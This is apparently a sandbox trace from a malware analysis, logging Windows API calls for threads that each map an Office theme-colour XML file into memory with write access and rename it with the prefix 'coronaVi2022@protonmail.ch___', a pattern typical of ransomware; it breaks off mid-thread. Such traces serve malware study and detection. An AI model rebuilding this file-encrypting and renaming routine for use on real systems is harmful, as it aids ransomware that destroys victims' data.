	[0107.405] CreateFileMappingA (hFile=0x11d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e3, lpName=0x0) returned 0x11e8
	[0107.407] MapViewOfFile (hFileMappingObject=0x11e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0107.411] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0107.411] CloseHandle (hObject=0x11e8) returned 1
	[0107.411] GetCurrentThreadId () returned 0x1f70
	[0107.411] FlushFileBuffers (hFile=0x11d8) returned 1
	[0107.479] CloseHandle (hObject=0x11d8) returned 1
	[0107.480] _swprintf (in: param_1=0x3809f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Blue.xml") returned 108
	[0107.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___blue.xml")) returned 1
	[0107.521] free (_Block=0x52010f8) 
	[0107.521] RtlExitUserThread (Status=0x0) 

Thread:
	id = 959
	os_tid = 0x1f74

	[0107.392] _alloca_probe () returned 0x40328a
	[0107.392] GetCurrentThreadId () returned 0x1f74
	[0107.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml", dwFileAttributes=0x80) returned 1
	[0107.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x117c
	[0107.404] GetFileSizeEx (in: hFile=0x117c, lpFileSize=0x394ff5c | out: lpFileSize=0x394ff5c*=743) returned 1
	[0107.404] CreateFileMappingA (hFile=0x117c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ed, lpName=0x0) returned 0x11dc
	[0107.405] MapViewOfFile (hFileMappingObject=0x11dc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.412] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.412] CloseHandle (hObject=0x11dc) returned 1
	[0107.412] GetCurrentThreadId () returned 0x1f74
	[0107.412] FlushFileBuffers (hFile=0x117c) returned 1
	[0107.478] CloseHandle (hObject=0x117c) returned 1
	[0107.480] _swprintf (in: param_1=0x3949f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Grayscale.xml") returned 113
	[0107.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\grayscale.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___grayscale.xml")) returned 1
	[0107.521] free (_Block=0x51fc0d0) 
	[0107.521] RtlExitUserThread (Status=0x0) 

Thread:
	id = 960
	os_tid = 0x1f78

	[0107.394] _alloca_probe () returned 0x40328a
	[0107.394] GetCurrentThreadId () returned 0x1f78
	[0107.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml", dwFileAttributes=0x80) returned 1
	[0107.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11e4
	[0107.407] GetFileSizeEx (in: hFile=0x11e4, lpFileSize=0x3a8ff5c | out: lpFileSize=0x3a8ff5c*=746) returned 1
	[0107.407] CreateFileMappingA (hFile=0x11e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f3, lpName=0x0) returned 0x11f0
	[0107.410] MapViewOfFile (hFileMappingObject=0x11f0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0107.413] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0107.414] CloseHandle (hObject=0x11f0) returned 1
	[0107.414] GetCurrentThreadId () returned 0x1f78
	[0107.414] FlushFileBuffers (hFile=0x11e4) returned 1
	[0107.497] CloseHandle (hObject=0x11e4) returned 1
	[0107.500] _swprintf (in: param_1=0x3a89f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Green Yellow.xml") returned 116
	[0107.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green yellow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Green Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___green yellow.xml")) returned 1
	[0107.523] free (_Block=0x51ff0e8) 
	[0107.523] RtlExitUserThread (Status=0x0) 

Thread:
	id = 961
	os_tid = 0x1f7c

	[0107.395] _alloca_probe () returned 0x40328a
	[0107.396] GetCurrentThreadId () returned 0x1f7c
	[0107.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", dwFileAttributes=0x80) returned 1
	[0107.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11ec
	[0107.410] GetFileSizeEx (in: hFile=0x11ec, lpFileSize=0x3bcff5c | out: lpFileSize=0x3bcff5c*=739) returned 1
	[0107.410] CreateFileMappingA (hFile=0x11ec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e5, lpName=0x0) returned 0x11f0
	[0107.414] MapViewOfFile (hFileMappingObject=0x11f0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.468] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.468] CloseHandle (hObject=0x11f0) returned 1
	[0107.468] GetCurrentThreadId () returned 0x1f7c
	[0107.468] FlushFileBuffers (hFile=0x11ec) returned 1
	[0107.497] CloseHandle (hObject=0x11ec) returned 1
	[0107.501] _swprintf (in: param_1=0x3bc9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Green.xml") returned 109
	[0107.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___green.xml")) returned 1
	[0107.522] free (_Block=0x5204110) 
	[0107.522] RtlExitUserThread (Status=0x0) 

Thread:
	id = 962
	os_tid = 0x1f80

	[0107.397] _alloca_probe () returned 0x40328a
	[0107.398] GetCurrentThreadId () returned 0x1f80
	[0107.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", dwFileAttributes=0x80) returned 1
	[0107.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11dc
	[0107.415] GetFileSizeEx (in: hFile=0x11dc, lpFileSize=0x3d0ff5c | out: lpFileSize=0x3d0ff5c*=721) returned 1
	[0107.415] CreateFileMappingA (hFile=0x11dc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d1, lpName=0x0) returned 0x11e8
	[0107.415] MapViewOfFile (hFileMappingObject=0x11e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0107.471] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0107.471] CloseHandle (hObject=0x11e8) returned 1
	[0107.471] GetCurrentThreadId () returned 0x1f80
	[0107.471] FlushFileBuffers (hFile=0x11dc) returned 1
	[0107.527] CloseHandle (hObject=0x11dc) returned 1
	[0107.527] _swprintf (in: param_1=0x3d09f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Marquee.xml") returned 111
	[0107.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___marquee.xml")) returned 1
	[0107.528] free (_Block=0x52000f0) 
	[0107.528] RtlExitUserThread (Status=0x0) 

Thread:
	id = 963
	os_tid = 0x1f84

	[0107.417] _alloca_probe () returned 0x40328a
	[0107.417] GetCurrentThreadId () returned 0x1f84
	[0107.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", dwFileAttributes=0x80) returned 1
	[0107.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c4
	[0107.486] GetFileSizeEx (in: hFile=0x11c4, lpFileSize=0x3e4ff5c | out: lpFileSize=0x3e4ff5c*=740) returned 1
	[0107.486] CreateFileMappingA (hFile=0x11c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e7, lpName=0x0) returned 0x1234
	[0107.487] MapViewOfFile (hFileMappingObject=0x1234, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0107.496] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0107.496] CloseHandle (hObject=0x1234) returned 1
	[0107.496] GetCurrentThreadId () returned 0x1f84
	[0107.496] FlushFileBuffers (hFile=0x11c4) returned 1
	[0107.693] CloseHandle (hObject=0x11c4) returned 1
	[0107.693] _swprintf (in: param_1=0x3e49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Median.xml") returned 110
	[0107.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___median.xml")) returned 1
	[0107.694] free (_Block=0x51fd0d8) 
	[0107.694] RtlExitUserThread (Status=0x0) 

Thread:
	id = 964
	os_tid = 0x1f88

	[0107.419] _alloca_probe () returned 0x40328a
	[0107.420] GetCurrentThreadId () returned 0x1f88
	[0107.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", dwFileAttributes=0x80) returned 1
	[0107.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x122c
	[0107.487] GetFileSizeEx (in: hFile=0x122c, lpFileSize=0x3f8ff5c | out: lpFileSize=0x3f8ff5c*=750) returned 1
	[0107.487] CreateFileMappingA (hFile=0x122c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fb, lpName=0x0) returned 0x123c
	[0107.488] MapViewOfFile (hFileMappingObject=0x123c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0107.505] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0107.505] CloseHandle (hObject=0x123c) returned 1
	[0107.505] GetCurrentThreadId () returned 0x1f88
	[0107.505] FlushFileBuffers (hFile=0x122c) returned 1
	[0107.563] CloseHandle (hObject=0x122c) returned 1
	[0107.590] _swprintf (in: param_1=0x3f89f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Office 2007 - 2010.xml") returned 122
	[0107.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___office 2007 - 2010.xml")) returned 1
	[0107.600] free (_Block=0x5205118) 
	[0107.600] RtlExitUserThread (Status=0x0) 

Thread:
	id = 965
	os_tid = 0x1f8c

	[0107.421] _alloca_probe () returned 0x40328a
	[0107.422] GetCurrentThreadId () returned 0x1f8c
	[0107.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", dwFileAttributes=0x80) returned 1
	[0107.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1230
	[0107.488] GetFileSizeEx (in: hFile=0x1230, lpFileSize=0x40cff5c | out: lpFileSize=0x40cff5c*=744) returned 1
	[0107.488] CreateFileMappingA (hFile=0x1230, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ef, lpName=0x0) returned 0x11ec
	[0107.499] MapViewOfFile (hFileMappingObject=0x11ec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.506] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.506] CloseHandle (hObject=0x11ec) returned 1
	[0107.506] GetCurrentThreadId () returned 0x1f8c
	[0107.506] FlushFileBuffers (hFile=0x1230) returned 1
	[0107.563] CloseHandle (hObject=0x1230) returned 1
	[0107.591] _swprintf (in: param_1=0x40c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Orange Red.xml") returned 114
	[0107.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___orange red.xml")) returned 1
	[0107.601] free (_Block=0x51fe0e0) 
	[0107.601] RtlExitUserThread (Status=0x0) 

Thread:
	id = 966
	os_tid = 0x1f90

	[0107.423] _alloca_probe () returned 0x40328a
	[0107.423] GetCurrentThreadId () returned 0x1f90
	[0107.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", dwFileAttributes=0x80) returned 1
	[0107.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1238
	[0107.489] GetFileSizeEx (in: hFile=0x1238, lpFileSize=0x420ff5c | out: lpFileSize=0x420ff5c*=720) returned 1
	[0107.489] CreateFileMappingA (hFile=0x1238, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d0, lpName=0x0) returned 0x1244
	[0107.489] MapViewOfFile (hFileMappingObject=0x1244, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2390000
	[0107.489] UnmapViewOfFile (lpBaseAddress=0x2390000) returned 1
	[0107.489] CloseHandle (hObject=0x1244) returned 1
	[0107.489] GetCurrentThreadId () returned 0x1f90
	[0107.489] FlushFileBuffers (hFile=0x1238) returned 1
	[0107.540] CloseHandle (hObject=0x1238) returned 1
	[0107.540] _swprintf (in: param_1=0x4209f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Orange.xml") returned 110
	[0107.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___orange.xml")) returned 1
	[0107.556] free (_Block=0x520d158) 
	[0107.556] RtlExitUserThread (Status=0x0) 

Thread:
	id = 967
	os_tid = 0x1f94

	[0107.424] _alloca_probe () returned 0x40328a
	[0107.425] GetCurrentThreadId () returned 0x1f94
	[0107.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml", dwFileAttributes=0x80) returned 1
	[0107.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1240
	[0107.500] GetFileSizeEx (in: hFile=0x1240, lpFileSize=0x434ff5c | out: lpFileSize=0x434ff5c*=739) returned 1
	[0107.500] CreateFileMappingA (hFile=0x1240, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e5, lpName=0x0) returned 0x1244
	[0107.502] MapViewOfFile (hFileMappingObject=0x1244, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0107.506] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0107.506] CloseHandle (hObject=0x1244) returned 1
	[0107.506] GetCurrentThreadId () returned 0x1f94
	[0107.506] FlushFileBuffers (hFile=0x1240) returned 1
	[0107.563] CloseHandle (hObject=0x1240) returned 1
	[0107.565] _swprintf (in: param_1=0x4349f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Paper.xml") returned 109
	[0107.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Paper.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___paper.xml")) returned 1
	[0107.599] free (_Block=0x5206120) 
	[0107.599] RtlExitUserThread (Status=0x0) 

Thread:
	id = 968
	os_tid = 0x1f98

	[0107.426] _alloca_probe () returned 0x40328a
	[0107.427] GetCurrentThreadId () returned 0x1f98
	[0107.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml", dwFileAttributes=0x80) returned 1
	[0107.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11e4
	[0107.501] GetFileSizeEx (in: hFile=0x11e4, lpFileSize=0x448ff5c | out: lpFileSize=0x448ff5c*=744) returned 1
	[0107.501] CreateFileMappingA (hFile=0x11e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ef, lpName=0x0) returned 0x124c
	[0107.503] MapViewOfFile (hFileMappingObject=0x124c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2390000
	[0107.510] UnmapViewOfFile (lpBaseAddress=0x2390000) returned 1
	[0107.510] CloseHandle (hObject=0x124c) returned 1
	[0107.510] GetCurrentThreadId () returned 0x1f98
	[0107.510] FlushFileBuffers (hFile=0x11e4) returned 1
	[0107.563] CloseHandle (hObject=0x11e4) returned 1
	[0107.590] _swprintf (in: param_1=0x4489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Red Orange.xml") returned 114
	[0107.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red orange.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Red Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___red orange.xml")) returned 1
	[0107.600] free (_Block=0x520e160) 
	[0107.600] RtlExitUserThread (Status=0x0) 

Thread:
	id = 969
	os_tid = 0x1f9c

	[0107.428] _alloca_probe () returned 0x40328a
	[0107.429] GetCurrentThreadId () returned 0x1f9c
	[0107.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml", dwFileAttributes=0x80) returned 1
	[0107.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b4
	[0107.502] GetFileSizeEx (in: hFile=0x11b4, lpFileSize=0x45cff5c | out: lpFileSize=0x45cff5c*=744) returned 1
	[0107.502] CreateFileMappingA (hFile=0x11b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ef, lpName=0x0) returned 0x11ec
	[0107.508] MapViewOfFile (hFileMappingObject=0x11ec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.536] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.536] CloseHandle (hObject=0x11ec) returned 1
	[0107.536] GetCurrentThreadId () returned 0x1f9c
	[0107.536] FlushFileBuffers (hFile=0x11b4) returned 1
	[0107.562] CloseHandle (hObject=0x11b4) returned 1
	[0107.565] _swprintf (in: param_1=0x45c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Red Violet.xml") returned 114
	[0107.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red violet.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Red Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___red violet.xml")) returned 1
	[0107.598] free (_Block=0x520a140) 
	[0107.598] RtlExitUserThread (Status=0x0) 

Thread:
	id = 970
	os_tid = 0x1fa0

	[0107.430] _alloca_probe () returned 0x40328a
	[0107.430] GetCurrentThreadId () returned 0x1fa0
	[0107.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml", dwFileAttributes=0x80) returned 1
	[0107.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1248
	[0107.504] GetFileSizeEx (in: hFile=0x1248, lpFileSize=0x470ff5c | out: lpFileSize=0x470ff5c*=737) returned 1
	[0107.504] CreateFileMappingA (hFile=0x1248, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e1, lpName=0x0) returned 0x1254
	[0107.504] MapViewOfFile (hFileMappingObject=0x1254, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0107.524] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0107.524] CloseHandle (hObject=0x1254) returned 1
	[0107.524] GetCurrentThreadId () returned 0x1fa0
	[0107.524] FlushFileBuffers (hFile=0x1248) returned 1
	[0107.564] CloseHandle (hObject=0x1248) returned 1
